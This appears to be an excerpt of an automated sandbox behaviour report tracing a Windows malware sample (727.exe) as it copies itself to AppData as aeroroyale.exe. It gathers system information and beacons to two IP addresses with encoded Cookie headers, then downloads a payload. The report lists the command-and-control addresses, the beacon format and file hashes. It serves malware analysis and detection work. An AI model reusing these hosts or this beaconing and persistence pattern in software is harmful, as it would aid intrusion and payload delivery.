Module Load module_name = KERNEL32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetLastError, address_out = 0x777abb08 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FreeConsole, address_out = 0x7780bfde True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = lstrlenW, address_out = 0x777ad9e8 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = lstrcmpA, address_out = 0x77798c59 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetLastError, address_out = 0x777abf00 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcess, address_out = 0x777acdcf True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessId, address_out = 0x777acac4 True 1
Fn
Service Open Manager database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Module Get Filename process_name = c:\users\bgc6u8~1\appdata\local\temp\727.exe, file_name_orig = C:\Users\BGC6U8~1\AppData\Local\Temp\727.exe, size = 260 True 1
Fn
File Move source_filename = C:\Users\BGC6U8~1\AppData\Local\Temp\727.exe, destination_filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe True 1
Fn
System Get Time type = Ticks, time = 154019 True 1
Fn
Process #6: aeroroyale.exe
17 0
»
Information Value
ID #6
File Name c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe
Command Line "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:01:39, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xbf8
Parent PID 0xbdc (c:\users\bgc6u8~1\appdata\local\temp\727.exe)
Is Created or Modified Executable True
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BFC
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x00020fff Pagefile Backed Memory r True False False -
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory rw True False False -
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory r True False False -
locale.nls 0x00140000 0x001a6fff Memory Mapped File r False False False -
pagefile_0x00000000001b0000 0x001b0000 0x00277fff Pagefile Backed Memory r True False False -
private_0x0000000000280000 0x00280000 0x00280fff Private Memory rw True False False -
private_0x0000000000290000 0x00290000 0x0038ffff Private Memory rw True False False -
private_0x0000000000390000 0x00390000 0x00390fff Private Memory rw True False False -
private_0x00000000003a0000 0x003a0000 0x003b4fff Private Memory rw True False False -
private_0x00000000003c0000 0x003c0000 0x003cffff Private Memory rw True False False -
private_0x00000000003d0000 0x003d0000 0x003e5fff Private Memory rwx True False False -
private_0x00000000003f0000 0x003f0000 0x003fffff Private Memory rwx True False False -
727.exe 0x00400000 0x00426fff Memory Mapped File rwx True False False -
pagefile_0x0000000000430000 0x00430000 0x00530fff Pagefile Backed Memory r True False False -
private_0x0000000000540000 0x00540000 0x00555fff Private Memory rw True False False -
private_0x0000000000600000 0x00600000 0x0060ffff Private Memory rw True False False -
pagefile_0x0000000000610000 0x00610000 0x0120ffff Pagefile Backed Memory r True False False -
sortdefault.nls 0x01210000 0x014defff Memory Mapped File r False False False -
winscard.dll 0x5fc00000 0x5fc22fff Memory Mapped File rwx False False False -
winspool.drv 0x738c0000 0x73910fff Memory Mapped File rwx False False False -
msasn1.dll 0x75a00000 0x75a0bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
crypt32.dll 0x75a90000 0x75bacfff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
oleaut32.dll 0x77360000 0x773eefff Memory Mapped File rwx False False False -
rpcrt4.dll 0x773f0000 0x77490fff Memory Mapped File rwx False False False -
ole32.dll 0x77500000 0x7765bfff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffd9000 0x7ffd9000 0x7ffd9fff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
Threads
Thread 0xbfc
17 0
»
Category Operation Information Success Count Logfile
Module Get Handle module_name = c:\users\bgc6u8~1\appdata\local\temp\727.exe, base_address = 0x400000 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fcd0 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fcf0 True 1
Fn
Module Get Address function = LoadLibraryA, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = GetProcAddress, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = VirtualProtect, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Load module_name = USER32.dll, base_address = 0x77170000 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = wsprintfA, address_out = 0x77183f47 True 1
Fn
Module Load module_name = KERNEL32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetLastError, address_out = 0x777abb08 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FreeConsole, address_out = 0x7780bfde True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = lstrlenW, address_out = 0x777ad9e8 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = lstrcmpA, address_out = 0x77798c59 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetLastError, address_out = 0x777abf00 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcess, address_out = 0x777acdcf True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessId, address_out = 0x777acac4 True 1
Fn
Process #7: aeroroyale.exe
169 60
»
Information Value
ID #7
File Name c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe
Command Line "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:01:39, Reason: Child Process
Unmonitor End Time: 00:05:00, Reason: Terminated by Timeout
Monitor Duration 00:03:21
OS Process Information
»
Information Value
PID 0xc08
Parent PID 0xbf8 (c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe)
Is Created or Modified Executable True
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x C0C
0x C14
0x C20
0x C24
0x C28
0x C2C
0x C30
0x C38
0x D2C
0x D30
0x D34
0x D38
0x D3C
0x DB8
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x00020fff Pagefile Backed Memory r True False False -
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory rw True False False -
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory r True False False -
private_0x0000000000140000 0x00140000 0x00140fff Private Memory rw True False False -
private_0x0000000000150000 0x00150000 0x00150fff Private Memory rw True False False -
private_0x0000000000160000 0x00160000 0x00174fff Private Memory rw True False False -
private_0x0000000000180000 0x00180000 0x00195fff Private Memory rwx True False False -
private_0x00000000001a0000 0x001a0000 0x0029ffff Private Memory rw True False False -
locale.nls 0x002a0000 0x00306fff Memory Mapped File r False False False -
pagefile_0x0000000000310000 0x00310000 0x003d7fff Pagefile Backed Memory r True False False -
private_0x00000000003e0000 0x003e0000 0x003f5fff Private Memory rw True False False -
727.exe 0x00400000 0x00426fff Memory Mapped File rwx True False False -
pagefile_0x0000000000430000 0x00430000 0x00530fff Pagefile Backed Memory r True False False -
private_0x0000000000540000 0x00540000 0x0054ffff Private Memory rwx True False False -
pagefile_0x0000000000550000 0x00550000 0x00550fff Pagefile Backed Memory rw True False False -
rsaenh.dll 0x00560000 0x0059bfff Memory Mapped File r False False False -
pagefile_0x0000000000560000 0x00560000 0x00561fff Pagefile Backed Memory r True False False -
windowsshell.manifest 0x00570000 0x00570fff Memory Mapped File r False False False -
index.dat 0x00570000 0x0057ffff Memory Mapped File rw True False False -
pagefile_0x0000000000580000 0x00580000 0x00581fff Pagefile Backed Memory r True False False -
index.dat 0x00590000 0x00597fff Memory Mapped File rw True False False -
private_0x00000000005a0000 0x005a0000 0x005affff Private Memory rw True False False -
index.dat 0x005b0000 0x005bffff Memory Mapped File rw True False False -
private_0x00000000005c0000 0x005c0000 0x005c0fff Private Memory rw True False False -
pagefile_0x00000000005c0000 0x005c0000 0x005c0fff Pagefile Backed Memory r True False False -
private_0x00000000005d0000 0x005d0000 0x005dffff Private Memory rw True False False -
pagefile_0x00000000005e0000 0x005e0000 0x011dffff Pagefile Backed Memory r True False False -
sortdefault.nls 0x011e0000 0x014aefff Memory Mapped File r False False False -
pagefile_0x00000000014b0000 0x014b0000 0x0158efff Pagefile Backed Memory r True False False -
pagefile_0x0000000001590000 0x01590000 0x01590fff Pagefile Backed Memory r True False False -
private_0x00000000015a0000 0x015a0000 0x015dffff Private Memory rw True False False -
private_0x00000000015e0000 0x015e0000 0x016dffff Private Memory rw True False False -
private_0x00000000016e0000 0x016e0000 0x0188ffff Private Memory rw True False False -
private_0x00000000016e0000 0x016e0000 0x0181ffff Private Memory rw True False False -
private_0x00000000016e0000 0x016e0000 0x017dffff Private Memory rw True False False -
private_0x00000000016e0000 0x016e0000 0x016effff Private Memory rw True False False -
pagefile_0x00000000016e0000 0x016e0000 0x016e6fff Pagefile Backed Memory rw True False False -
private_0x00000000016e0000 0x016e0000 0x01776fff Private Memory rw True False False -
private_0x00000000016e0000 0x016e0000 0x01703fff Private Memory rwx True False False -
pagefile_0x00000000016f0000 0x016f0000 0x016f6fff Pagefile Backed Memory rw True False False -
private_0x0000000001710000 0x01710000 0x01746fff Private Memory rwx True False False -
private_0x0000000001750000 0x01750000 0x0178afff Private Memory rwx True False False -
private_0x0000000001790000 0x01790000 0x01795fff Private Memory rwx True False False -
private_0x00000000017a0000 0x017a0000 0x017bbfff Private Memory rwx True False False -
f833.tmp 0x017a0000 0x017a0fff Memory Mapped File r True True False
...
private_0x00000000017c0000 0x017c0000 0x017d8fff Private Memory rwx True False False -
private_0x00000000017e0000 0x017e0000 0x0181ffff Private Memory rw True False False -
pagefile_0x0000000001820000 0x01820000 0x01820fff Pagefile Backed Memory r True False False -
pagefile_0x0000000001830000 0x01830000 0x01831fff Pagefile Backed Memory rw True False False -
private_0x0000000001850000 0x01850000 0x0188ffff Private Memory rw True False False -
private_0x0000000001890000 0x01890000 0x0198ffff Private Memory rw True False False -
private_0x0000000001990000 0x01990000 0x01a8ffff Private Memory rw True False False -
private_0x0000000001a90000 0x01a90000 0x01b8ffff Private Memory rw True False False -
private_0x0000000001b90000 0x01b90000 0x01beffff Private Memory rw True False False -
private_0x0000000001bf0000 0x01bf0000 0x01dbffff Private Memory rw True False False -
private_0x0000000001bf0000 0x01bf0000 0x01d3ffff Private Memory rw True False False -
private_0x0000000001bf0000 0x01bf0000 0x01ceffff Private Memory rw True False False -
private_0x0000000001cf0000 0x01cf0000 0x01d86fff Private Memory rw True False False -
private_0x0000000001cf0000 0x01cf0000 0x01d51fff Private Memory rwx True False False -
private_0x0000000001db0000 0x01db0000 0x01dbffff Private Memory rw True False False -
private_0x0000000001dc0000 0x01dc0000 0x01e1afff Private Memory rwx True False False -
private_0x0000000001e60000 0x01e60000 0x01e9ffff Private Memory rw True False False -
private_0x0000000001ea0000 0x01ea0000 0x01f9ffff Private Memory rw True False False -
private_0x0000000001fa0000 0x01fa0000 0x0209ffff Private Memory rw True False False -
private_0x00000000020a0000 0x020a0000 0x0218dfff Private Memory rw True False False -
private_0x0000000002190000 0x02190000 0x0228ffff Private Memory rw True False False -
private_0x0000000002290000 0x02290000 0x0238ffff Private Memory rw True False False -
private_0x0000000002390000 0x02390000 0x0248ffff Private Memory rw True False False -
private_0x0000000002490000 0x02490000 0x0258ffff Private Memory rw True False False -
private_0x0000000002590000 0x02590000 0x0268ffff Private Memory rw True False False -
winscard.dll 0x5fc00000 0x5fc22fff Memory Mapped File rwx False False False -
npmproxy.dll 0x6f010000 0x6f017fff Memory Mapped File rwx False False False -
rasadhlp.dll 0x6f260000 0x6f265fff Memory Mapped File rwx False False False -
netprofm.dll 0x6f280000 0x6f2d9fff Memory Mapped File rwx False False False -
dhcpcsvc.dll 0x72720000 0x72731fff Memory Mapped File rwx False False False -
dhcpcsvc6.dll 0x72740000 0x7274cfff Memory Mapped File rwx False False False -
mpr.dll 0x72750000 0x72761fff Memory Mapped File rwx False False False -
winnsi.dll 0x72810000 0x72816fff Memory Mapped File rwx False False False -
iphlpapi.dll 0x72820000 0x7283bfff Memory Mapped File rwx False False False -
fwpuclnt.dll 0x72860000 0x72897fff Memory Mapped File rwx False False False -
winrnr.dll 0x72bc0000 0x72bc7fff Memory Mapped File rwx False False False -
pnrpnsp.dll 0x72bd0000 0x72be1fff Memory Mapped File rwx False False False -
napinsp.dll 0x72bf0000 0x72bfffff Memory Mapped File rwx False False False -
rasman.dll 0x731f0000 0x73204fff Memory Mapped File rwx False False False -
rasapi32.dll 0x73210000 0x73261fff Memory Mapped File rwx False False False -
winspool.drv 0x738c0000 0x73910fff Memory Mapped File rwx False False False -
nlaapi.dll 0x73dd0000 0x73ddffff Memory Mapped File rwx False False False -
ntmarta.dll 0x740e0000 0x74100fff Memory Mapped File rwx False False False -
rtutils.dll 0x74110000 0x7411cfff Memory Mapped File rwx False False False -
sensapi.dll 0x74120000 0x74125fff Memory Mapped File rwx False False False -
netapi32.dll 0x74270000 0x74280fff Memory Mapped File rwx False False False -
wtsapi32.dll 0x74370000 0x7437cfff Memory Mapped File rwx False False False -
dwmapi.dll 0x744c0000 0x744d2fff Memory Mapped File rwx False False False -
uxtheme.dll 0x747f0000 0x7482ffff Memory Mapped File rwx False False False -
comctl32.dll 0x74970000 0x74b0dfff Memory Mapped File rwx False False False -
wshtcpip.dll 0x74f70000 0x74f74fff Memory Mapped File rwx False False False -
userenv.dll 0x75040000 0x75056fff Memory Mapped File rwx False False False -
rsaenh.dll 0x75200000 0x7523afff Memory Mapped File rwx False False False -
dnsapi.dll 0x752e0000 0x75323fff Memory Mapped File rwx False False False -
wship6.dll 0x75410000 0x75415fff Memory Mapped File rwx False False False -
mswsock.dll 0x75420000 0x7545bfff Memory Mapped File rwx False False False -
cryptsp.dll 0x75460000 0x75475fff Memory Mapped File rwx False False False -
sspicli.dll 0x758c0000 0x758dafff Memory Mapped File rwx False False False -
cryptbase.dll 0x758e0000 0x758ebfff Memory Mapped File rwx False False False -
rpcrtremote.dll 0x75980000 0x7598dfff Memory Mapped File rwx False False False -
profapi.dll 0x75990000 0x7599afff Memory Mapped File rwx False False False -
msasn1.dll 0x75a00000 0x75a0bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
crypt32.dll 0x75a90000 0x75bacfff Memory Mapped File rwx False False False -
advapi32.dll 0x75c90000 0x75d2ffff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
clbcatq.dll 0x75e00000 0x75e82fff Memory Mapped File rwx False False False -
urlmon.dll 0x75e90000 0x75fc5fff Memory Mapped File rwx False False False -
sechost.dll 0x75fd0000 0x75fe8fff Memory Mapped File rwx False False False -
wldap32.dll 0x75ff0000 0x76034fff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
shell32.dll 0x760f0000 0x76d39fff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
nsi.dll 0x76f60000 0x76f65fff Memory Mapped File rwx False False False -
iertutil.dll 0x76f70000 0x7716afff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
oleaut32.dll 0x77360000 0x773eefff Memory Mapped File rwx False False False -
rpcrt4.dll 0x773f0000 0x77490fff Memory Mapped File rwx False False False -
shlwapi.dll 0x774a0000 0x774f6fff Memory Mapped File rwx False False False -
ole32.dll 0x77500000 0x7765bfff Memory Mapped File rwx False False False -
wininet.dll 0x77660000 0x77754fff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
normaliz.dll 0x77990000 0x77992fff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
ws2_32.dll 0x77a30000 0x77a64fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffd3000 0x7ffd3000 0x7ffd3fff Private Memory rw True False False -
private_0x000000007ffd4000 0x7ffd4000 0x7ffd4fff Private Memory rw True False False -
private_0x000000007ffd5000 0x7ffd5000 0x7ffd5fff Private Memory rw True False False -
private_0x000000007ffd6000 0x7ffd6000 0x7ffd6fff Private Memory rw True False False -
private_0x000000007ffd7000 0x7ffd7000 0x7ffd7fff Private Memory rw True False False -
private_0x000000007ffd8000 0x7ffd8000 0x7ffd8fff Private Memory rw True False False -
private_0x000000007ffd9000 0x7ffd9000 0x7ffd9fff Private Memory rw True False False -
private_0x000000007ffda000 0x7ffda000 0x7ffdafff Private Memory rw True False False -
private_0x000000007ffdb000 0x7ffdb000 0x7ffdbfff Private Memory rw True False False -
private_0x000000007ffdc000 0x7ffdc000 0x7ffdcfff Private Memory rw True False False -
private_0x000000007ffdd000 0x7ffdd000 0x7ffddfff Private Memory rw True False False -
private_0x000000007ffde000 0x7ffde000 0x7ffdefff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
For performance reasons, the remaining 16 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp 0.05 KB MD5: 61974b8f808747119a0234c563fda669
SHA1: 16bdeca2a2f85bc92c608d84ba8f892b692b2172
SHA256: f188d8900c336dc2745411755c8b90588a2c3d24a99afee9f9e13b8ddd3f53ea
SSDeep: 3:PlQVlAVUKbnwRl+RJZ3E:dQPAbwDn 		False
...
C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp 0.08 KB MD5: 172ee94da6ee51655ec4ff88bee8c5eb
SHA1: 6c8a98026cb9e733aa1b32f8516d268e831d13b9
SHA256: 28886aa73bb5eccdf20c58ade6ba559a89733369743301b30cbb33b9321ca1f7
SSDeep: 3:Rq3sFZJiKbNLQDW7q1KcKJRKVJmz:43sPJ38DjKNRo4 		False
...
Threads
Thread 0xc0c
39 20
»
Category Operation Information Success Count Logfile
Module Get Handle module_name = c:\users\bgc6u8~1\appdata\local\temp\727.exe, base_address = 0x400000 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fcd0 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fcf0 True 1
Fn
Module Get Address function = LoadLibraryA, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = GetProcAddress, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = VirtualAlloc, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Get Address function = VirtualProtect, ordinal = 0, address_out = 0x12fd68 True 1
Fn
Module Load module_name = USER32.dll, base_address = 0x77170000 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = wsprintfA, address_out = 0x77183f47 True 1
Fn
Module Load module_name = KERNEL32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetLastError, address_out = 0x777abb08 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FreeConsole, address_out = 0x7780bfde True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = lstrlenW, address_out = 0x777ad9e8 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = lstrcmpA, address_out = 0x77798c59 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetLastError, address_out = 0x777abf00 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcess, address_out = 0x777acdcf True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessId, address_out = 0x777acac4 True 1
Fn
Service Open Manager database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
System Get Time type = Ticks, time = 158091 True 2
Fn
System Get Time type = Ticks, time = 159105 True 1
Fn
System Get Time type = Ticks, time = 160119 True 1
Fn
System Get Time type = Ticks, time = 161133 True 1
Fn
System Get Time type = Ticks, time = 162147 True 1
Fn
System Get Time type = Ticks, time = 163161 True 1
Fn
System Get Time type = Ticks, time = 164175 True 1
Fn
Module Load module_name = crypt32.dll, base_address = 0x75a90000 True 1
Fn
Module Load module_name = urlmon.dll, base_address = 0x75e90000 True 1
Fn
Module Load module_name = user32.dll, base_address = 0x77170000 True 1
Fn
System Get Time type = Ticks, time = 170275 True 1
Fn
Inet Open Session user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E), access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Inet Open Connection protocol = HTTP, server_name = 181.142.74.233, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP 1.1, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Inet Send HTTP Request headers = Cookie: 17080=CWZZ8xG+qimIs4JLmfCTD8uEaAAPQ5uW5m/3/sEOJGiHx9WsJW/6vXHOVcYA4Tp9G1iOlk8QteuyaOY955LortwZ32jIs3Zh7vGJ+kBCA98Ce4ZD3W+h28Q8Sae74gZvJJCoRdG80JakNA+RZOtlmOiQyr5IMX3lXtiuQqwqdtenVipv1C+ouqApb7FW7L83aGRTc5V+WdEXQKfx+SpeVULEhQUtR9duN5nVPk9Xe9Jq9wad0ISWPHFXqrk2gSOZMvWc05zuC/Pf1Vtqp8l6rCVoQZow/3YHKVTtHu43t1DnurhDQyPyGgzfep2Jmr8hIBdUJwXwDbhlEscAxxa74DXoeC70G2hieetAkJKX6gsU1lwQTqPZycCN2QoRxlwT3lT9FFud7uXTWcGlcz9AuZBQOgp1vU0UzEvkwyKx/ARcU7iCSNF9XKeqo4w7t8h+q1h8SVqTQQ3+uD6kIzcaXU1kURHDyZ3ht+znkfQwPJcZwV2ubP7jDSI3DE4jap3FlUHDdj5Ls0OE5HMgh9K6GrgaTUK4lbJDDSH5qZv3Mw85L6XFuTS5ubDXXZGLQd/pPE4DVnsrHqnGJCmCEghj/8uOThxYoFhF4+Q1L58lWRzvZbXkDS8lTa50KUTZPTMoPOy13KmR/N96nH9mTUCT3tFLDRY=, url = 181.142.74.233 True 1
Fn
Inet Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Inet Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_CONTENT_LENGTH, size_out = 4 True 1
Fn
Data
Inet Read Response size = 618356 False 1
Fn
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
System Get Time type = Ticks, time = 252518 True 4
Fn
System Get Info type = Operating System False 1
Fn
System Get Info type = Hardware Information True 1
Fn
System Get Time type = Ticks, time = 252581 True 1
Fn
Inet Open Session user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E), access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Inet Open Connection protocol = HTTP, server_name = 204.184.25.164, server_port = 443 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP 1.1, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Inet Send HTTP Request headers = Cookie: 33851=phfTzCKW4Tl/BW16W5kFXWvBkxgO+gzFE/vhBHTF43KTJuoA3Q2E5wpNa43Z8BAfTR1e20qtPY8fdfKyfgtU2CG9lT7HzmUoAXq71Mb93C80V3xF7HCdxpwckxOE5ZR2+/tuP4rJa7epXUt3HFFRepUNUfQnRZO5tZ/1+OyRJHjBiaV1cGIC3k2fQETnHfyBxPXhf56zmE+2CE6/CP78GawxyaW3aRsjO+ihGmBllyioMuK/V8HiAn95oHbs6LjIZJOK7Dum5szlhNl9nAWWjWr1nhnBY2VHFAeigJq7IN19x+tuNfZl8t9YiBcnPjPqRzqEA39/M66p8ok0yWRh2VIoFY+QsGfWKhtwa9B3ibo+q8vwomMhd8plGFEA5O9rizFcUzWX/L0dPk+jXrCd90pIdwUJ3nK4wzJX9xByICHPyJ4NszT3JogD1sZxf1ptaebJvU1vMOAC8w5h7qQf/ZJaFLsFw6XCc6GnCWCC2+2MTZPwTAva5op7JvWb/9TN5RfgzbBCMdTjmZg4uj5ZfTitOWLHhrn3hnfydNQJHEHL9IgByTV/m7w2MZpF6+kvac+NMZdWKVN0RAzxjEFc1SelyNzLKq+FCPiQQ/53ZbG/s/5yZZkD5VgGwkU0Sfem3d+Kq+d+3h/RV6rzt+DgwyA0y6EsQODD3BWu8YUHtYYkUfyj, url = 204.184.25.164 True 1
Fn
Inet Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_STATUS_CODE, size_out = 4 True 1
Fn
Data
Inet Query HTTP Info flags = HTTP_QUERY_FLAG_NUMBER, HTTP_QUERY_CONTENT_LENGTH, size_out = 4 True 1
Fn
Data
Inet Read Response size = 618356, size_out = 618356 True 1
Fn
Data
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
Inet Close Session - True 1
Fn
Thread 0xd2c
26 10
»
Category Operation Information Success Count Logfile
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Load module_name = crypt32.dll, base_address = 0x75a90000 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x760f0000 True 1
Fn
Module Load module_name = urlmon.dll, base_address = 0x75e90000 True 1
Fn
Module Load module_name = userenv.dll, base_address = 0x75040000 True 1
Fn
Module Load module_name = wininet.dll, base_address = 0x77660000 True 1
Fn
Module Load module_name = wtsapi32.dll, base_address = 0x74370000 True 1
Fn
File Create Temp File filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, path = C:\Users\BGC6U8~1\AppData\Local\Temp\ True 1
Fn
File Delete filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp True 1
Fn
